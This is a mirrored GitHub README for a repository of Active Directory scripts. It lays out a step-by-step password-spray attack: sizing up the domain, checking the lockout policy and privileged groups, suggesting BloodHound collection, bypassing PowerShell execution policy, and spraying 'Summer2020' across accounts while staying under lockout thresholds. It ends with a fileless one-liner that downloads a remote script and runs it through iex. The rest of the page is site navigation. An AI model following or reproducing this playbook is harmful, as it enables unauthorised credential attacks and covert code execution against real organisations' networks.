Giter Site home page Giter Site logo

ad's Introduction

AD

Queries and code related to Active Directory

Process:

  1. Use the "ADCounts.ps1" script to size up the directory.
  2. Use a command like "Net accounts /domain" to see the current password policy (Don't want to lock thouse accounts, eh?)
  3. Use GetADPrivGroups.ps1 to get membership in the main AD Elevated groups - see who is who.
  4. Could go and get Blood Hound / SharpHound, maybe collect some juicy details...
  5. Assess the current situation before the sparay - try getlockoutinfo.ps1 for details and getlocked.ps1 for lockout status.
  6. Then attempt the PW spray with pwspray.ps1
  7. Need to open up a PowerShell prompt w/ bypass: from command prompt, "PowerShell -exec bypass" should get you there.
  8. Need to import the script - Type 'Import-Module pwspray.ps1', which is a more paranoid version of dafthack's pw spray script.
  9. Run the script - Invoke-DomainPasswordSpray -Password Summer2020 -OutFile results.txt
  10. Observe - Search-ADAccount –LockedOut. Problems? Use control C and punt. Wait a bunch before you try again.
  11. Kick it up a notch maybe? Go fileless? powershell -nop -c "iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/OnlyTheShadowKnows/AD/master/ADcounts.ps1')"

ad's People

Contributors

onlytheshadowknows avatar

Watchers

 avatar

Forkers

ktwombley

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.